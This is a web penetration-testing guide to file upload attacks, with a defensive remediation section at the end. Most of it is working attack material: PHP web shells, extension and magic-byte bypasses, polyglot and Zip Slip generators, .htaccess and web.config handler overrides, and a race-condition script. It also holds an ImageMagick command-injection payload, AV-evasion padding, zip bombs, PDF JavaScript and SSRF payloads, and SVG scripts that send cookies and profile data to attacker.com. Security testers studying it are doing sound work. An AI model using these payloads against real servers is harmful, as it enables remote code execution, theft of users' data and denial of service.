24 min read

File Upload Attacks

File upload vulnerabilities allow attackers to upload malicious files to web servers, potentially leading to remote code execution or complete server compromise. This guide focuses on practical bypass techniques and exploitation paths you can use as a real engagement reference.

Danger

File upload attacks can lead to complete server compromise. Always ensure you have proper authorization before testing upload functionality.

Frameworks: WSTG-BUSL-08, -09 (exec: WSTG-INPV-11) · ASVS 5.0 V5.2.2, V5.3.1 · CWE-434 · T1505.003, T1190

File upload bypass chain

Map the upload pipeline, then work the filter-bypass matrix — extension, Content-Type, magic bytes/EXIF, polyglot — into write-what-where and preview-processing abuse that ends in a web shell.

Scroll sideways to see the whole diagram

Tools & Resources

Fuxploider

Automated file upload vulnerability scanner

git clone https://github.com/almandin/fuxploider GitHub →

Weevely

Web shell generator & post-exploitation

apt install weevely GitHub →

ExifTool

Metadata manipulation for payload injection

apt install exiftool GitHub →

Upload Scanner

Burp Suite extension for upload testing

BApp Store GitHub →

pdf-parser

Analyze PDFs for malicious content

git clone https://github.com/DidierStevens/DidierStevensSuite GitHub →

peepdf

PDF analysis and exploitation tool

git clone https://github.com/jesparza/peepdf GitHub →

Understanding File Upload Vulnerabilities

File upload vulnerabilities occur when applications fail to properly validate uploaded files. Attackers can exploit weak validation to upload malicious files that execute on the server or client side.

Common Vulnerable Scenarios

  • Profile picture/avatar uploads
  • Document upload portals (resume, PDF, etc.)
  • File sharing applications
  • CMS media libraries
  • Import/export functionality
  • Backup restore features

Quick test flow (5–10 minutes)

  1. Find storage & serving: Upload a benign file and locate its final URL/path (public link, CDN, or internal-only).
  2. Confirm execution surface: Is it rendered by the browser (SVG/PDF) or executed by the server (PHP/ASP/JSP)?
  3. Run bypass matrix: Start with extension and Content-Type, then check magic bytes and polyglots.
  4. Check write-what-where: Test path traversal and config uploads when filenames/paths are user-controlled.
  5. Probe processing: If the app generates previews/thumbnails, prioritize PDF and server-side fetching/SSRF behaviors.

Recon the Upload Pipeline

Before trying payloads, map how the application handles uploads end-to-end. This is often the difference between “cool bypass” and a defensible, reproducible finding.

Questions to answer

  • ☐ Where is the file stored (local disk, object storage, DB, temp directory)?
  • ☐ Is it renamed (UUID), re-encoded (image processing), or wrapped (zip/container)?
  • ☐ How is it served (same origin, separate domain, CDN, signed URL, private bucket proxy)?
  • ☐ What response discloses IDs/paths (JSON fields, Location header, HTML)?
  • ☐ Are there authorization checks on download/view (IDOR on file IDs)?

Signals to capture

  • ☐ Response body fields (fileId, url, key, path, mime)
  • ☐ Response headers (Content-Type, Content-Disposition, X-Content-Type-Options)
  • ☐ Final served headers (cache-control, CSP, nosniff, CORP/CORS)
  • ☐ Any server-side processing events (thumbnail endpoints, background jobs)

Cloud & Object Storage Patterns

Modern apps often upload directly to S3/GCS/Azure via presigned URLs. This shifts the attack surface:

Presigned URL Abuse

If the app generates a signed URL for PUT without restricting Content-Type or size:

  • Upload malicious HTML/SVG/JS directly to the bucket.
  • Overwrite existing assets if key is predictable.
  • Upload massive files (DoS) if size isn't signed.

Bucket Misconfiguration

Even if the upload is safe, the bucket policy might be weak:

  • Check for public list access (ls s3://...).
  • Check if uploaded files are served with Content-Type: application/octet-stream (forces download) or rendered (XSS risk).

Testing Matrix

Use this matrix to systematically test bypass vectors. Stop when you find a working path, but document all attempts.

Vector Action / Payload Expected Signal False Positives
Extension .php.jpg, .pHp, .phtml, .php%00.jpg File saved with executable extension; server executes it. File saved but served as text/plain or forced download.
Content-Type Change application/x-php to image/jpeg Upload accepted; file content remains unchanged. App accepts it but re-encodes the image (destroying payload).
Magic Bytes Prepend GIF89a or %PDF- to script Bypasses "is this an image?" checks. Image parsers (ImageMagick) choke on the garbage data appended.
Metadata (EXIF) exiftool -Comment='<?php... Payload survives image resizing/stripping. Metadata is stripped but file is saved.
Polyglot Valid JPG + Valid PHP (phar/jpg) Passes strict image validation AND executes. Complex to generate; requires specific server config to execute.
Zip Slip Archive entry: ../../shell.php File extracted to web root (overwrite). Extraction fails or flattens directory structure.

Extension Bypass Techniques

Attackers use various techniques to bypass file extension filters.

Double Extensions

Many applications only check the last extension or have flawed parsing:

Double Extension Bypass
# Double extension bypasses
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.txt

# Apache specific (mod_mime)
shell.php.blah     # .blah not recognized, falls back to .php

# IIS specific
shell.asp;.jpg     # IIS stops at semicolon
Alternative Extensions
Alternative Extensions
# PHP alternatives
.php, .php2, .php3, .php4, .php5, .php7
.pht, .phtm, .phtml
.pgif, .shtml, .phar, .inc

# Case manipulation
.pHp, .PhP, .PHP, .Php5

# ASP alternatives  
.asp, .aspx, .cer, .asa
.config, .ashx, .asmx
Null Byte & Special Characters
Null Byte & Special Characters
# Null byte injection (older systems, PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg

# Special characters
shell.php .jpg        # Trailing space (Windows)
shell.php..jpg        # Double dots
shell.php/            # Trailing slash
shell.php::$DATA      # NTFS alternate data stream

Content-Type Bypass

Applications may validate the Content-Type header instead of actual file content. Intercept the request and modify the header.

Content-Type Manipulation
# Intercept upload in Burp Suite and change Content-Type:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream

# Full multipart request example:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

Magic Bytes Bypass

Applications may check file signatures (magic bytes). Prepend valid headers to your payload.

Magic Bytes Injection
# Common magic bytes/file signatures
GIF89a         # GIF image
GIF87a         # GIF image (older)
\xFF\xD8\xFF   # JPEG image
\x89PNG\r\n   # PNG image
%PDF-          # PDF document
PK             # ZIP archive

# Example: GIF header with PHP payload
GIF89a
<?php system($_GET['cmd']); ?>

# Using ExifTool to inject into image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

Tip

Use real images and inject code into metadata fields (EXIF comments, IPTC, XMP) for more robust bypass that survives image processing.

Polyglot Files

Polyglots are files that are valid in multiple formats simultaneously:

Polyglot Generation Commands
Polyglot File Creation
# JPEG Polyglot creation with ExifTool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg
cp legit.jpg shell.php.jpg

# GIF Polyglot - starts with GIF header
# canonical example: /web-pentest/06d-file-upload/ (Magic Bytes Bypass, above)

# PNG polyglot using tEXt chunk
convert -size 32x32 xc:white shell.png
exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.png

Path Traversal in Uploads

Manipulate the filename to write files to arbitrary locations.

Preconditions: Works when the server uses (or partially trusts) the user-provided filename/path during storage, extraction, or move operations. Expected signal: The file becomes accessible in an unintended location, overwrites an existing file, or changes application behavior.

Path Traversal Upload
# Filename manipulation in Content-Disposition
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fshell.php"
Content-Disposition: form-data; name="file"; filename="....//....//shell.php"

# Windows path traversal
filename="..\\..\\..\\inetpub\\wwwroot\\shell.aspx"

# URL encoded variations
filename="..%252f..%252fshell.php"    # Double URL encode

Zip Slip (Archive Extraction)

If the application accepts archives (zip, tar, jar, war) and extracts them without validating the filenames inside, you can overwrite files anywhere on the system.

Attack Concept

A malicious zip file can contain entries with directory traversal characters (e.g., ../../shell.php). When extracted, the library blindly follows the path, writing the file outside the intended destination.

Zip Slip Generator
# Python script to create a Zip Slip payload
import zipfile

def create_zip_slip(filename, target_path, content):
    with zipfile.ZipFile(filename, 'w') as zf:
        # The magic: filename contains traversal characters
        zf.writestr(target_path, content)

# Create a zip that writes shell.php to web root
create_zip_slip('evil.zip', '../../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')

print("Created evil.zip")

Filename Vulnerabilities

Sometimes the file content is irrelevant, and the attack vector is the filename itself.

XSS via Filename

If the filename is reflected in the UI (e.g., "Upload complete: [filename]"), it can trigger XSS.

<img src=x onerror=alert(1)>.png "><svg/onload=alert(1)>.jpg

Command Injection

If the server uses the filename in a shell command (e.g., mv $filename /storage) without quoting.

sleep 10.jpg ; sleep 10; .jpg

Configuration File Upload

When config uploads are realistic

  • ☐ Upload directory is within a web-executable path (or served by the same web server)
  • ☐ The server honors per-directory configuration files (.htaccess, web.config, .user.ini)
  • ☐ The app does not restrict filenames beginning with . or reserved names
  • ☐ You can place config and payload in the same effective directory

.htaccess Attack (Apache)

Preconditions: Apache + AllowOverride enabled for the upload directory. Expected signal: A normally-static extension is executed/handled as PHP.

.htaccess PHP Execution
# Make .jpg files execute as PHP
AddType application/x-httpd-php .jpg

# Or use the PHP 7/8 handler name
AddHandler application/x-httpd-php .jpg

# Enable execution for specific extension
<FilesMatch "\.innocent$">
    SetHandler application/x-httpd-php
</FilesMatch>

web.config Attack (IIS)

Preconditions: IIS where the upload directory honors web.config overrides. Expected signal: A non-executable extension is mapped to a handler.

web.config Handler Manipulation
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspx" path="*.jpg" verb="*" 
           modules="IsapiModule" 
           scriptProcessor="%windir%\System32\inetsrv\asp.dll" 
           resourceType="Unspecified"/>
    </handlers>
  </system.webServer>
</configuration>

PUT Method & WebDAV

Sometimes you don't need a file upload form. If the server has WebDAV enabled or misconfigured HTTP verbs, you might be able to upload files directly using the PUT method.

PUT / WebDAV Upload
# Test for PUT support
OPTIONS / HTTP/1.1
Host: target.com

# Response might include: Allow: GET, POST, PUT, DELETE

# Upload file via PUT
PUT /uploads/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 30

<?php system($_GET['cmd']); ?>

# If PUT is blocked, try MOVE (WebDAV)
PUT /uploads/shell.txt HTTP/1.1
...
MOVE /uploads/shell.txt HTTP/1.1
Destination: /uploads/shell.php

SVG & XML Upload Attacks

Tip: For SVG payloads, check how the file is served (inline vs download), the MIME type (image/svg+xml), and whether X-Content-Type-Options: nosniff is present.

SVG with XSS

SVG XSS Payload
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

<!-- Cookie stealer SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="http://attacker.com/steal?c="+document.cookie;
  </script>
</svg>

SVG XXE Attack

The entity mechanics belong to the XXE guide — XXE via File Uploads covers the DOCTYPE/entity syntax, the blind and out-of-band variants, and the same trick through DOCX/XLSX parts and image XMP metadata. For this page the only question is whether the upload pipeline hands the stored file to an XML parser and how it is served back: a parser that resolves external entities turns any accepted SVG into a file read.

PDF Active Content Testing

PDFs can contain active content including JavaScript, form actions, and embedded files that some viewers process when opened. Many applications accept PDF uploads (resumes, documents, reports) without sanitizing active content, creating opportunities for SSRF and phishing (embedded PDF JavaScript is executed only by desktop Acrobat/Reader, never as browser DOM XSS).

Why PDF Attacks Matter

  • Browser rendering: Chrome/Edge (PDFium) and Firefox (pdf.js) do not execute embedded PDF JavaScript; only desktop Acrobat/Reader runs it, and that is client-side script execution — not same-origin DOM XSS
  • Server-side processing: PDF libraries (wkhtmltopdf, WeasyPrint) may fetch external resources
  • Desktop viewers: Acrobat Reader executes JavaScript and can trigger network requests
  • Automatic preview: Many apps auto-generate thumbnails, triggering server-side rendering
Client-side: PDF JavaScript (Acrobat/Reader)

This payload creates a minimal valid PDF that executes JavaScript when opened in desktop Acrobat/Reader. Browser PDF viewers (PDFium, pdf.js) ignore it. The OpenAction directive triggers automatically when the PDF loads.

PDF JavaScript Payload
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
4 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert('XSS via PDF');) >>
endobj
xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000076 00000 n 
0000000133 00000 n 
0000000204 00000 n 
trailer
<< /Size 5 /Root 1 0 R >>
startxref
286
%%EOF

How to Use:

  1. Save the code above as malicious.pdf
  2. Upload to the target application's PDF upload feature
  3. Access the uploaded PDF URL directly in browser
  4. If JavaScript executes, note it as client-side PDF script execution (Acrobat/Reader) — not browser DOM XSS
Server-side: SSRF / external fetch tests

These payloads help detect server-side PDF rendering (thumbnail generation, preview services) that may fetch external URLs. Use an interaction service (e.g., Burp Collaborator) and treat this as blind verification.

PDF SSRF Payload (SubmitForm)
% PDF with form submission to external URL
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [5 0 R] >>
endobj
5 0 obj
<< /Type /Annot /Subtype /Widget /FT /Btn /T (submit)
   /A << /Type /Action /S /SubmitForm 
         /F << /Type /FileSpec /F (http://YOUR-BURP-COLLABORATOR.oastify.com) >> 
         /Flags 4 >> >>
endobj
xref
trailer
<< /Root 1 0 R >>
%%EOF

How to Use:

  1. Replace the URL with your Burp Collaborator or webhook.site URL
  2. Save as ssrf-test.pdf and upload to target
  3. If the server generates thumbnails or processes the PDF, it will make a request to your server
  4. Check Collaborator/webhook for incoming HTTP requests
  5. If request received, the app is vulnerable to blind SSRF via PDF processing
PDF Data Exfiltration (submitForm)
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R 
   /AA << /O << /S /JavaScript 
   /JS (
     this.submitForm({
       cURL: 'http://YOUR-SERVER.com/collect',
       cSubmitAs: 'PDF'
     });
   ) >> >>
>>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
trailer << /Root 1 0 R >>
%%EOF

Warning

Server-side rendering: If the application uses wkhtmltopdf, WeasyPrint, or similar tools to convert HTML to PDF or generate thumbnails, test for SSRF by including external image/CSS URLs. The server may fetch these resources during rendering.
Analysis tooling: inspect PDF structure

Use these tools to analyze PDF structure and detect active content:

PDF Analysis Commands
# pdf-parser - List all objects in a PDF
pdf-parser.py malicious.pdf

# Search for JavaScript in PDF
pdf-parser.py --search javascript malicious.pdf

# Extract specific object (e.g., object 4)
pdf-parser.py --object 4 malicious.pdf

# peepdf - Interactive PDF analysis
peepdf -i malicious.pdf

# Inside peepdf interactive mode:
PPDF> tree                    # Show PDF structure
PPDF> object 4                # View specific object
PPDF> js_analyse              # Analyze JavaScript
PPDF> extract js > script.js  # Extract JS to file

# pdfid - Quick overview of suspicious elements
pdfid.py malicious.pdf
# Look for: /JS, /JavaScript, /OpenAction, /AA, /Launch
Generate test PDFs: Python snippet

Programmatically create test PDFs for controlled validation.

Python PDF Generation
# Using PyPDF2 or reportlab for PDF generation
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter

# Create PDF with JavaScript
def create_js_pdf(filename, js_code):
    c = canvas.Canvas(filename, pagesize=letter)
    c.drawString(100, 750, "Test Document")
    
    # Add JavaScript action (requires manual PDF editing after)
    c.save()
    
    # Append JavaScript manually
    with open(filename, 'ab') as f:
        js_obj = f"""
4 0 obj
<< /Type /Action /S /JavaScript /JS ({js_code}) >>
endobj
"""
        f.write(js_obj.encode())

# Alternative: Use raw PDF creation
def create_ssrf_pdf(callback_url):
    pdf_content = f"""%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction<</S/URI/URI({callback_url})>>>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
trailer<</Size 4/Root 1 0 R>>
startxref
%%EOF"""
    return pdf_content

# Write SSRF test PDF
with open('ssrf_test.pdf', 'w') as f:
    f.write(create_ssrf_pdf('http://burpcollaborator.net'))

PDF Testing Checklist

Client-Side Tests

  • ☐ JavaScript executes in browser PDF viewer
  • ☐ JavaScript executes in Adobe Reader
  • ☐ Form actions trigger on open
  • ☐ External URLs loaded (images, CSS)
  • ☐ Embedded files can be extracted

Server-Side Tests

  • ☐ Thumbnail generation fetches URLs
  • ☐ PDF preview triggers requests
  • ☐ PDF-to-image conversion vulnerable
  • ☐ Metadata extraction processes JS
  • ☐ Internal network accessible (SSRF)

Race Condition Attacks

If the application uploads then validates/moves files, there may be a window for exploitation.

When it applies

  • ☐ Upload is first written to a web-accessible temp location
  • ☐ Validation/deletion happens asynchronously or after write
  • ☐ You can guess or observe the temporary filename/URL

Race Condition Window

Race Condition Exploit
# Race condition concept:
# 1. Application saves file temporarily
# 2. Application validates file
# 3. Application deletes if invalid

# Attack: Access file between steps 1 and 2
# Use Burp Intruder or Turbo Intruder for timing

# Python threading example
import threading
import requests

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post(upload_url, files=files)

def access():
    requests.get(shell_url + "?cmd=id")

# Run both simultaneously
for i in range(100):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=access)
    t1.start()
    t2.start()

Verification & Evidence (Engagement-Ready)

Evidence checklist

Capture

  • ☐ Upload request (full multipart body + headers)
  • ☐ Upload response (file id/path/url + status code)
  • ☐ Final served URL response (headers + body/snippet)
  • ☐ Any transformation evidence (renamed, re-encoded, stripped metadata)

Prove impact safely

  • ☐ Use a benign marker (unique string) before attempting higher impact payloads
  • ☐ Prefer out-of-band verification for SSRF (collaborator/webhook)
  • ☐ Avoid destructive writes/overwrites; demonstrate “write-what-where” using harmless files
  • ☐ Document preconditions (server type, file serving behavior, auth requirements)

File Upload Bypass Checklist

Extension Bypasses

  • ☐ Double extensions (.php.jpg)
  • ☐ Alternative extensions (.phtml, .php5)
  • ☐ Case variations (.pHp, .PHP)
  • ☐ Null bytes (.php%00.jpg)
  • ☐ Special characters (space, semicolon)
  • ☐ NTFS alternate streams (::$DATA)

Content Bypasses

  • ☐ Content-Type manipulation
  • ☐ Magic bytes injection
  • ☐ Polyglot files
  • ☐ EXIF metadata injection
  • ☐ SVG with embedded script
  • ☐ PDF with active content

Path Attacks

  • ☐ Path traversal (../)
  • ☐ URL encoded traversal
  • ☐ Zip slip vulnerability
  • ☐ Absolute path injection

Config Files

  • ☐ .htaccess upload
  • ☐ web.config upload
  • ☐ .user.ini upload
  • ☐ php.ini overrides

Practice Labs

Advanced File Upload Techniques

Advanced Polyglot Files

Polyglots that survive image re-encoding and trick multiple parsers simultaneously:

# PHAR polyglot — a bare __HALT_COMPILER() stub is NOT a valid phar (it has no
# manifest, so phar:// will not deserialize it). Build a real archive first:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

# Prepend a real image header so the archive also passes image checks — the phar
# stub may contain arbitrary leading bytes as long as it ends with
# __HALT_COMPILER();.
cat header.jpg exploit.phar > polyglot.phar.jpg

# Trigger via: ?file=phar://uploads/polyglot.phar.jpg/test.txt

# Multi-format polyglot: valid as JPEG, HTML, and JavaScript simultaneously
# The browser renders it based on Content-Type header
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
mv photo.jpg photo.jpg.html  # Serves as HTML if MIME not enforced

# GIF + PHP that survives GD library re-processing
# GD preserves comment blocks in GIF89a format
python3 -c "
gif = b'GIF89a'  # GIF header
gif += b'\x01\x00\x01\x00\x80\x00\x00'  # Dimensions/color
gif += b'\xff\xff\xff\x00\x00\x00'  # Color table
gif += b'\x21\xfe'  # Comment extension
payload = b'<?php system($_GET["c"]); ?>'
gif += bytes([len(payload)]) + payload
gif += b'\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00\x3b'
open('shell.gif.php','wb').write(gif)
"

Parser Differential Attacks

Different components in the upload pipeline (web server, image library, antivirus, WAF) may interpret the same file differently:

# Apache mod_mime vs PHP — Apache processes right-to-left, PHP left-to-right
# Upload: shell.php.jpg → Apache serves as image, but PHP executes if .php handler matches

# Nginx vs PHP-FPM path confusion
# Upload: image.jpg → Access: /uploads/image.jpg/.php
# If cgi.fix_pathinfo=1, PHP processes image.jpg as PHP code

# ImageMagick vs web server
# ImageMagick delegates processing based on file content, not extension
# Upload a file that ImageMagick processes with a vulnerable delegate:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com"|id > /tmp/pwned")'
pop graphic-context
# Save as: exploit.svg or exploit.mvg

# AV evasion via content padding
# Add benign content to push malicious payload past scanner's max scan size
dd if=/dev/zero bs=1M count=100 > padding.bin
cat padding.bin shell.php > padded_shell.php
# Many AVs skip files over a certain size threshold

Zip Bombs & Decompression Attacks

# Classic zip bomb — small file that expands to enormous size
# Causes DoS when server decompresses uploaded archives
python3 -c "
import zipfile, io, os
# Create a ~1GB decompression bomb in a ~1MB file
payload = b'\x00' * (1024 * 1024 * 100)  # 100MB of nulls (compresses to ~100KB)
with zipfile.ZipFile('bomb.zip', 'w', zipfile.ZIP_DEFLATED) as z:
    for i in range(10):
        z.writestr(f'file_{i}.txt', payload)
# Result: ~1MB zip that extracts to ~1GB
"

# Nested zip (zip within zip) — each layer is linear, not an exponential bomb
python3 -c "
import zipfile, io
inner = io.BytesIO()
with zipfile.ZipFile(inner, 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('data.txt', b'A' * 1048576)
for _ in range(10):
    outer = io.BytesIO()
    with zipfile.ZipFile(outer, 'w') as z:
        z.writestr('inner.zip', inner.getvalue())
    inner = outer
open('recursive_bomb.zip','wb').write(outer.getvalue())
"

# Zip slip (path traversal via archive entry names)
python3 -c "
import zipfile
with zipfile.ZipFile('slip.zip', 'w') as z:
    z.writestr('../../../tmp/evil.php', '<?php system($_GET["c"]); ?>')
"

SVG Polyglots & Advanced SVG Attacks

<!-- SVG + HTML polyglot: valid SVG that also executes as HTML -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <script>
        // Full JavaScript execution in SVG context
        fetch('/api/user/profile', {credentials: 'include'})
          .then(r => r.json())
          .then(d => fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(d))));
      </script>
    </div>
  </foreignObject>
</svg>

<!-- SVG with embedded Java applet (legacy attack) -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <object data="https://attacker.com/malicious.jar" type="application/x-java-applet"/>
    </body>
  </foreignObject>
</svg>

HEIF/HEIC Format Attacks

HEIF (High Efficiency Image Format) is increasingly common on iOS. Server-side processing may be vulnerable:

# HEIF/HEIC processing vulnerabilities target server-side image libraries
# libheif CVEs: heap overflows, out-of-bounds reads, integer overflows

# Test 1: Upload malformed HEIC that crashes server-side processing
# Generate a fuzzed HEIC with corrupted ISOBMFF box structures
python3 -c "
# Minimal HEIF container with corrupted box length
heif = b'\x00\x00\x00\x20ftyp'  # File type box
heif += b'heic'                     # Major brand
heif += b'\x00\x00\x00\x00'     # Minor version
heif += b'heic'                     # Compatible brand
heif += b'\xff\xff\xff\xff'     # Oversized meta box length (triggers overflow)
heif += b'meta'
open('malformed.heic','wb').write(heif)
"

# Test 2: Check if server converts HEIC → JPEG (common on upload)
# The conversion library (ImageMagick, libheif, sharp) may be outdated
curl -X POST https://target.com/api/upload \
  -F "file=@malformed.heic;type=image/heic"

# Test 3: EXIF data in HEIF (same as JPEG EXIF attacks)
# HEIF stores EXIF in 'Exif' item, potentially with XSS payloads
exiftool -Comment='<script>alert(1)</script>' photo.heic

Remediation & Defense

Securing File Uploads

Decide by Content, Not by Name

  • • Allow-list, don't deny-list: sniff the bytes and accept only an explicit set of types. libmagic via python-magic, PHP finfo_file(), Apache Tika's Tika.detect(), or Node's file-type all read the signature rather than the extension.
  • • Extension and declared Content-Type are hints only: an attacker sets both. Reject when the sniffed type disagrees with the allow-list entry for the filename.
  • • For images, decode and re-encode: Pillow's Image.open(...).verify() followed by a re-save normalises the file and drops EXIF/XMP payloads; equivalent in ImageMagick with the policy layer enabled.
  • • Reject polyglots by construction: after re-encoding, output bytes are generated by you, so the GIF89a-prefixed PHP payload and the PHAR/JPG polyglot no longer exist.

Store Outside the Webroot, Serve Deliberately

  • • Write to a directory the web server does not serve (/var/app/storage/uploads) or a private object-store bucket; hand bytes back through an authorised handler or a short-lived signed URL.
  • • Generate the stored name yourself — a UUIDv4 or secrets.token_urlsafe(16) — and choose the extension from the allow-list. Discard the client filename entirely; it is only display metadata and must be HTML-encoded where shown.
  • • Send Content-Type from your allow-list, never the client's value, plus X-Content-Type-Options: nosniff and Content-Disposition: attachment; filename="…" for anything the browser should not render.
  • • Serve user content from a separate origin with a restrictive CSP (default-src 'none'; sandbox), so a surviving SVG or HTML file cannot run in the application's origin.

Disable Execution in the Upload Directory

  • • nginx: give the upload path its own prefix block with no fastcgi_pass — location ^~ /uploads/ { try_files $uri =404; } — and keep the \.php$ handler scoped to the application directory only.
  • • Apache: in <Directory /var/www/uploads> set php_admin_flag engine off, RemoveHandler .php .phtml .phar, RemoveType .php and Options -ExecCGI; deny config uploads with <FilesMatch "^\.(htaccess|user\.ini)$"> Require all denied </FilesMatch>.
  • • IIS: block script handlers for the upload path with request filtering, and make sure web.config overrides are disabled there so an uploaded config cannot re-map .jpg to ASP.NET.
  • • Treat this as the last line, not the first: it contains a validation miss, but storage location and random naming are what stop the file being reachable at all.

Scan, Bound and Quarantine

  • • Scan before the file becomes retrievable — ClamAV via clamdscan, or the cloud scanner on the target bucket — and serve only after a clean verdict, from a quarantine location until then.
  • • Enforce size at every layer: nginx client_max_body_size, Apache LimitRequestBody, PHP upload_max_filesize and post_max_size, Spring spring.servlet.multipart.max-file-size, multer limits.fileSize.
  • • For archives, cap entry count, total uncompressed size and compression ratio, and resolve each entry against the extraction root before writing — that closes both zip bombs and Zip Slip.
  • • Validate the resolved path (os.path.realpath, Path.resolve()) stays inside the storage root, and never pass a user-supplied name into a shell command.

CWE References: CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-646 (Reliance on File Name or Extension of Externally-Supplied File)

Evidence Collection

Upload Request: Burp capture showing the multipart upload with malicious file content, modified Content-Type, and double extensions

Execution Proof: Response from accessing the uploaded file showing server-side code execution (webshell output, phpinfo(), command output)

Storage Path: URL or path where the uploaded file is stored and accessible — proving it landed in a web-accessible directory

Bypass Chain: Document each validation bypass used (extension, MIME type, magic bytes, filename encoding)

CVSS Range: RCE via webshell: 9.1–9.8 (Critical) | Stored XSS via SVG/HTML: 6.1–7.2 | DoS via zip bomb: 5.3–7.5

False Positive Identification

  • Upload succeeds but no execution: Being able to upload a .php file is only half the vulnerability — if the file is stored outside the webroot, renamed to a safe extension, or served with Content-Disposition: attachment, it may not be exploitable.
  • CDN/object storage serving: Files served from S3, Azure Blob, or CDN typically won't execute server-side code — the impact shifts to stored XSS or phishing.
  • Image reprocessing: If the server re-encodes images (ImageMagick, GD), embedded payloads in EXIF or pixel data are typically stripped — test if the payload survives reprocessing.
  • Extension vs. handler: Uploading file.php.jpg may bypass the extension check but still not execute as PHP unless the server is misconfigured — verify the execution context.

File Upload Practice

Land web shells past content-type, extension, and path filtering.

PortSwigger — File Upload Vulnerability Labs PortSwigger medium
Web shell uploadContent-Type bypassTraversal in filenames